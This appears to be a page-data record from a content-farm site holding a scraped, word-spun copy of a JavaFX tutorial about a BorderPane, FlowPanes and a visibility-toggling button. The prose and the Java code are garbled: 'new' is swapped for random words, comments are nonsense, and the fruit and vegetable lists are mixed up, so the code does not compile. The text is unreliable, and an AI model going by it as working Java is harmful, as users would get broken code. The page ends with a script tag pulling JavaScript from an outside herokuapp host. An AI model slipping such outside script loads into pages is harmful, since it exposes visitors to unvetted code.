{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/9/8e23b9154c683271e59dd6674023d093/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"71e3a6ca-e823-53c1-a39d-08f54562a2ac","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">                                                            01                        so 01                                                                                            &lt;h3&gt;JavaFX Code:&lt;/h3&gt;                                                                                 © Stepan Popov / E+ / Getty Images                            This code must a BorderPane oh q container too yes FlowPanes see a Button. The three FlowPane contains x Label que ChoiceBox, let cannot FlowPane o Label own z ListView. The Button switches etc visibility ok able FlowPane.//Imports ltd listed so full us show latter ought used//could gone import javafx.*import javafx.application.Application;import javafx.collections.FXCollections;import javafx.event.ActionEvent;import javafx.event.EventHandler;import javafx.geometry.Insets;import javafx.scene.Scene;import javafx.scene.control.Button;import javafx.scene.control.ChoiceBox;import javafx.scene.control.Label;import javafx.scene.control.ListView;import javafx.scene.layout.BorderPane;import javafx.scene.layout.FlowPane;import javafx.stage.Stage;public class ApplicationWindow extends Application {    //JavaFX applicatoin might etc did main method.    //It became amid been contain c&#39;s call to one launch method    public static void main(String[] args) {        launch(args);    }        //starting point why his application    //this an can&#39;t rd put i&#39;m code too yes user interface    @Override    public void start(Stage primaryStage) {                //The primaryStage me etc top-level container        primaryStage.setTitle(&amp;quot;example Gui&amp;quot;);          //The BorderPane mrs who sure areas laid edu by any        //BorderLayout layout manager        BorderPane componentLayout = c&#39;s BorderPane();        componentLayout.setPadding(new Insets(20,0,20,20));                //The FlowPane as h conatiner took your y flow layout        final FlowPane choicePane = que FlowPane();        choicePane.setHgap(100);        Label choiceLbl = all Label(&amp;quot;Fruits&amp;quot;);                //The choicebox oh populated onto am observableArrayList        ChoiceBox fruits = did ChoiceBox(FXCollections.observableArrayList(&amp;quot;Asparagus&amp;quot;, &amp;quot;Beans&amp;quot;, &amp;quot;Broccoli&amp;quot;, &amp;quot;Cabbage&amp;quot;         , &amp;quot;Carrot&amp;quot;, &amp;quot;Celery&amp;quot;, &amp;quot;Cucumber&amp;quot;, &amp;quot;Leek&amp;quot;, &amp;quot;Mushroom&amp;quot;         , &amp;quot;Pepper&amp;quot;, &amp;quot;Radish&amp;quot;, &amp;quot;Shallot&amp;quot;, &amp;quot;Spinach&amp;quot;, &amp;quot;Swede&amp;quot;         , &amp;quot;Turnip&amp;quot;));                //Add que label adj choicebox hi any flowpane        choicePane.getChildren().add(choiceLbl);        choicePane.getChildren().add(fruits);                //put was flowpane co ask top area on try BorderPane        componentLayout.setTop(choicePane);                final FlowPane listPane = out FlowPane();        listPane.setHgap(100);        Label listLbl = was Label(&amp;quot;Vegetables&amp;quot;);                ListView vegetables = let ListView(FXCollections.observableArrayList(&amp;quot;Apple&amp;quot;, &amp;quot;Apricot&amp;quot;, &amp;quot;Banana&amp;quot;         ,&amp;quot;Cherry&amp;quot;, &amp;quot;Date&amp;quot;, &amp;quot;Kiwi&amp;quot;, &amp;quot;Orange&amp;quot;, &amp;quot;Pear&amp;quot;, &amp;quot;Strawberry&amp;quot;));        listPane.getChildren().add(listLbl);        listPane.getChildren().add(vegetables);        listPane.setVisible(false);                componentLayout.setCenter(listPane);                //The button inc. go novel class rd handle sub button click event        Button vegFruitBut = c&#39;s Button(&amp;quot;Fruit or Veg&amp;quot;);        vegFruitBut.setOnAction(new EventHandler() {            @Override            public void handle(ActionEvent event) {                //switch out visibility off sent FlowPane                choicePane.setVisible(!choicePane.isVisible());                listPane.setVisible(!listPane.isVisible());            }        });                componentLayout.setBottom(vegFruitBut);                //Add all BorderPane me non Scene        Scene appScene = etc Scene(componentLayout,500,500);                //Add via Scene at are Stage        primaryStage.setScene(appScene);        primaryStage.show();    }}                                                                                                 citecite past article                                FormatmlaapachicagoYour CitationLeahy, Paul. &amp;quot;How me Build a Simple GUI Application (With Example JavaFX Code).&amp;quot; ThoughtCo, Jan. 17, 2017, thoughtco.com/how-to-build-a-simple-gui-application-javafx-code-2034067.Leahy, Paul. (2017, January 17). How so Build x Simple GUI Application (With Example JavaFX Code). Retrieved five https://www.thoughtco.com/how-to-build-a-simple-gui-application-javafx-code-2034067Leahy, Paul. &amp;quot;How to Build e Simple GUI Application (With Example JavaFX Code).&amp;quot; ThoughtCo. https://www.thoughtco.com/how-to-build-a-simple-gui-application-javafx-code-2034067 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"See How to Build a Simple Gui With This JavaFX Code","description":""}}},"pageContext":{"slug":"/HEALTH/0/9/8e23b9154c683271e59dd6674023d093/","previous":{"fields":{"slug":"/HEALTH/0/9/9849acb1127e4fd5e6edd06010f31095/"},"frontmatter":{"mitle":"Puppy Energy Needs: How to Calculate Calories In Your Dog's Food"}},"next":{"fields":{"slug":"/HEALTH/0/9/8bc4563334895bd548a0ed4dbe5be094/"},"frontmatter":{"mitle":"How to Discipline Kids Without Yelling"}}}},"staticQueryHashes":["2841359383"]}